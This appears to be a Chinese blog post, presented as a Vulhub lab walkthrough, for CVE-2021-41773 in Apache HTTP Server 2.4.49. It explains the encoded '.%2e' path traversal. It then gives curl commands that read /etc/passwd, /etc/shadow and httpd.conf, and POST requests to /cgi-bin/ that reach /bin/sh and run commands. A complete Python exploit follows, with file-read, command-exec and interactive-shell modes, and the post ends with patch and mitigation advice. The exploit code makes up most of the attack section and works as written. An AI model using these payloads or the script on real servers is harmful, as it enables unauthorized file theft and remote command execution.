当前位置: 首页 > news >正文

CVE-2021-41773 Apache HTTP Server 路径穿越与远程命令执行漏洞

漏洞信息

项目内容
CVE 编号CVE-2021-41773
漏洞类型路径穿越 (Path Traversal) → 任意文件读取 / 远程命令执行 (RCE)
影响组件Apache HTTP Server
影响版本2.4.49 仅此版本(2.4.48 及之前不受此版本特有的路径穿越影响,2.4.50 修复)
靶场版本Apache HTTP Server 2.4.49 (Unix) + mod_cgi / mod_cgid 已启用
靶机地址http://192.168.229.60:8080/
Vulhub 路径/vulhub/vulhub/httpd/CVE-2021-41773/
利用条件配置文件必须包含<Directory />Require all granted</Directory>(本靶场已配置)

漏洞原理

背景

Apache HTTP Server 2.4.49 版本在路径规范化(URL path normalization)处理逻辑中存在缺陷。当 URL 路径中包含.%2e(即 URL 编码的../组合)时,Apache 的路径解析函数未能正确规范化,导致可以绕过目录限制,访问 Web 根目录以外的文件。

漏洞成因

正常请求: GET /icons/README HTTP/1.1 → Apache 规范化路径:/usr/local/apache2/htdocs/icons/README ✅ ​ 路径穿越请求: GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1 → Apache 未能正确解码并规范化 .%2e (即..) → 实际访问:/etc/passwd ❌
访问路径分析 ┌──────────────────────────────────────────────────┐ │ /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd │ │ │ │ │ │ │ ▼ ▼ ▼ │ │ ../ ../ ../ │ │ └──────┬──────┘ │ │ │ ▼ │ │ │ /icons/向上穿越一次 │ │ │ │ │ │ │ 连续4次穿越 │ │ │ │ │ │ │ 路径: /icons → / → / → / → / → /etc/passwd │ └──────────────────────────────────────────────────┘

RCE 原理

当 Apache 同时启用了mod_cgimod_cgid时,路径穿越可以访问到/cgi-bin/目录之外的 CGI 脚本。通过穿越到/bin/sh并传入 POST 数据,可以实现任意命令执行:

POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh Content-Type: application/x-www-form-urlencoded ​ echo;id
  • /cgi-bin/是 Apache 默认配置的 CGI 脚本目录

  • 路径穿越到/bin/sh(系统 shell)

  • echo;确保输出不会干扰标准输出

  • 后续命令以 daemon 用户权限执行

攻击步骤

Step 1:确认靶机版本

GET / HTTP/1.1 Host: 192.168.229.60:8080
HTTP/1.1 200 OK Server: Apache/2.4.49 (Unix) Content-Type: text/html ​ <html><body><h1>It works!</h1></body></html>

确认 Apache 版本为2.4.49,存在漏洞。

Step 2:路径穿越读取任意文件

利用.%2e绕过路径检查,读取服务器上的任意文件:

# 读取 /etc/passwd curl -v --path-as-is 'http://192.168.229.60:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin ...

关键参数说明:

  • --path-as-is— 告诉 curl不要自动规范化URL 中的路径(必须使用!)

  • /icons/— Apache 默认存在的可访问目录

  • .%2e— URL 编码后的.(点),与后面的%2e组合解码后为..(上级目录)

更多文件读取示例:

# 读取 Apache 配置文件 curl --path-as-is 'http://192.168.229.60:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/usr/local/apache2/conf/httpd.conf' ​ # 读取 Web 目录下的脚本源码(保护源码不被直接访问) curl --path-as-is 'http://192.168.229.60:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/usr/local/apache2/htdocs/index.html' ​ # 读取系统敏感文件 curl --path-as-is 'http://192.168.229.60:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow' curl --path-as-is 'http://192.168.229.60:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts'

Step 3:CGI 模式远程命令执行(RCE)

当服务器启用了mod_cgimod_cgid(本靶场已开启),路径穿越可访问到系统 shell:

curl -v --data "echo;id" 'http://192.168.229.60:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
HTTP/1.1 200 OK Server: Apache/2.4.49 (Unix) ​ uid=1(daemon) gid=1(daemon) groups=1(daemon)

命令以daemon用户身份执行。通过更换 POST body 可以执行任意命令:

curl --data "echo;ls -la /" 'http://192.168.229.60:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' curl --data "echo;cat /etc/passwd" 'http://192.168.229.60:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' curl --data "echo;whoami" 'http://192.168.229.60:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'

Python 版完整利用脚本

#!/usr/bin/env python3 """ CVE-2021-41773 - Apache HTTP Server 2.4.49 Path Traversal & RCE Exploit Author: Vulhub Lab """ ​ import requests import sys import urllib.parse ​ class CVE_2021_41773: def __init__(self, target, port=80): self.base_url = f"http://{target}:{port}" self.session = requests.Session() def read_file(self, filepath, directory="/icons"): """ 路径穿越读取任意文件 Args: filepath: 目标文件路径,如 "/etc/passwd" directory: 起始目录,默认 /icons Returns: 文件内容字符串,失败返回 None """ # 构建穿越路径: 从 /icons 需要穿越到根然后再到目标 traversal = "/.%2e/%2e%2e/%2e%2e/%2e%2e" url = f"{self.base_url}{directory}{traversal}{filepath}" print(f"[*] Reading: {filepath}") print(f"[*] URL: {url}") try: # --path-as-is 对应 Python 中不自动规范化路径 r = self.session.get(url, timeout=10) if r.status_code == 200 and len(r.text) > 0: print(f"[+] Success! ({len(r.text)} bytes)") return r.text else: print(f"[-] Failed: HTTP {r.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def exec_command(self, command): """ 通过 CGI 路径穿越执行系统命令 (RCE) Args: command: 要执行的命令,如 "id", "ls -la /" Returns: 命令输出字符串,失败返回 None """ url = f"{self.base_url}/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh" payload = f"echo;{command}" print(f"[*] Executing: {command}") print(f"[*] POST to: {url}") try: r = self.session.post(url, data=payload, timeout=10) if r.status_code == 200 and len(r.text) > 0: print(f"[+] Success! ({len(r.text)} bytes)") return r.text else: print(f"[-] Failed: HTTP {r.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def interactive_shell(self): """交互式命令执行""" print("[*] CVE-2021-41773 RCE Interactive Shell (type 'exit' to quit)") print("[*] Commands run as 'daemon' user") print() while True: try: cmd = input("$ ").strip() if cmd.lower() in ('exit', 'quit'): break if not cmd: continue output = self.exec_command(cmd) if output: print(output) except KeyboardInterrupt: print("\n[*] Exiting...") break except Exception as e: print(f"[-] Error: {e}") ​ ​ def banner(): print("=" * 55) print(" CVE-2021-41773 - Apache 2.4.49 Path Traversal / RCE") print("=" * 55) print() ​ def main(): banner() if len(sys.argv) < 3: print("Usage:") print(" python3 cve-2021-41773.py <target> <port> read <filepath>") print(" python3 cve-2021-41773.py <target> <port> exec <command>") print(" python3 cve-2021-41773.py <target> <port> shell") print() print("Examples:") print(" python3 cve-2021-41773.py 192.168.229.60 8080 read /etc/passwd") print(" python3 cve-2021-41773.py 192.168.229.60 8080 exec 'id'") print(" python3 cve-2021-41773.py 192.168.229.60 8080 shell") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) action = sys.argv[3] exploit = CVE_2021_41773(target, port) if action == "read" and len(sys.argv) >= 5: filepath = sys.argv[4] content = exploit.read_file(filepath) if content: print("=" * 55) print(content.rstrip()) print("=" * 55) elif action == "exec" and len(sys.argv) >= 5: command = ' '.join(sys.argv[4:]) output = exploit.exec_command(command) if output: print("=" * 55) print(output.rstrip()) print("=" * 55) elif action == "shell": exploit.interactive_shell() else: print("[-] Invalid action or missing arguments") ​ ​ if __name__ == "__main__": main()

使用示例

# 读取文件 python3 cve-2021-41773.py 192.168.229.60 8080 read /etc/passwd ​ # 执行命令 python3 cve-2021-41773.py 192.168.229.60 8080 exec 'id' ​ # 交互式 Shell python3 cve-2021-41773.py 192.168.229.60 8080 shell

关键要点总结

✅/⚠️要点
CVE-2021-41773 仅影响 Apache HTTP Server2.4.49 这一个版本(非常罕见的单一版本漏洞)
路径穿越:利用.%2e(URL 编码的..)绕过路径规范化 → 任意文件读取
远程命令执行:当mod_cgi/mod_cgid开启时,可通过/cgi-bin/.%2e/../bin/sh执行命令
--path-as-is是 curl 利用的关键参数,否则 curl 会自动规范化路径导致攻击失败
RCE 以daemon用户权限执行(非 root),但已足够造成严重破坏
⚠️修复方案:升级到 Apache2.4.50或更高版本
⚠️临时缓解:在配置中移除<Directory />Require all granted</Directory>
⚠️如果业务无法升级,可在 WAF/Nginx 反向代理层拦截包含%2e..的请求路径
⚠️该漏洞在 2021 年 10 月被公开后 48 小时内即出现大量在野利用,属于紧急修补类漏洞
http://www.gsyq.cn/news/1580940.html

相关文章:

  • 如何快速掌握图表工具:Mermaid Live Editor新手友好的完整教程
  • 鸿蒙 ArkTS 核心知识点完整详解(考试版)
  • 写了很多内容后,我还是决定给自己搭一个Typecho博客
  • 基于XC7A100T-1FGG484I的高性能信号处理与数据采集系统设计
  • 2026年国内用户开通 ChatGPT Plus,真正要注意的不是付款,而是这几件事
  • 温湿度智能测控系统:多渠道消息推送,异常快速响应
  • 外卖小程序搭建需要什么资质?企业上线指南
  • 移动最小二乘法(MLS)拟合平面正弦曲线(MATLAB 实现)
  • 如何挑选靠谱的共享充电宝
  • Centos6换源
  • 2. 石油地球物理测井
  • 大数据偏远院校大数据专业,报考性价比怎么判断
  • 当Windows域客户端寻找LDAP时,Responder如何成为“完美替身“捕获认证凭据
  • Vue2 + ElementUI 批量更新排序/产品分类完整实现
  • windows系统安装Python + Pycharm教程【新手简洁版】
  • 高质量C++/ C编程指南-文件结构
  • 【AI原生思维链工程化白皮书】:2026奇点大会首发CoT落地框架、5大工业级验证范式与3类失效熔断机制
  • 连接第二台手机提示:cannot connect to 192.168.1.130:5555: 由于目标计算机积极拒绝,无法连接。 (10061)
  • 我用手工写标书和AI辅助各做了一周,整理出这份真实对比
  • Java数组深度解析:从基础到架构的实战指南(上)
  • OmniShotCut实战:C++/ONNX部署SOTA镜头检测,一键导出PR时间线(附开源JSX脚本)
  • 自己买共享充电宝到底划不划算
  • 欧盟GMP对AI大模型划定红线,详解药企AI生存法则
  • 高考志愿填报:大数据相关专业到底怎么选?
  • 2026年全铝大门选购指南:哪家工艺更靠谱
  • 用SymPy自动计算抛物线求根、判别式与顶点
  • 一行代码看懂 Linux 内核的时间转换:__month_to_secs 逐行拆解
  • 2026金九银十Java八股文面试题汇总(附答案·全栈覆盖)
  • 多色流式无串扰!647细胞凋亡检测试剂盒
  • 浙大、腾讯团队提出 JAVEdit 相关成果,填补自然语言驱动联合音视频编辑空白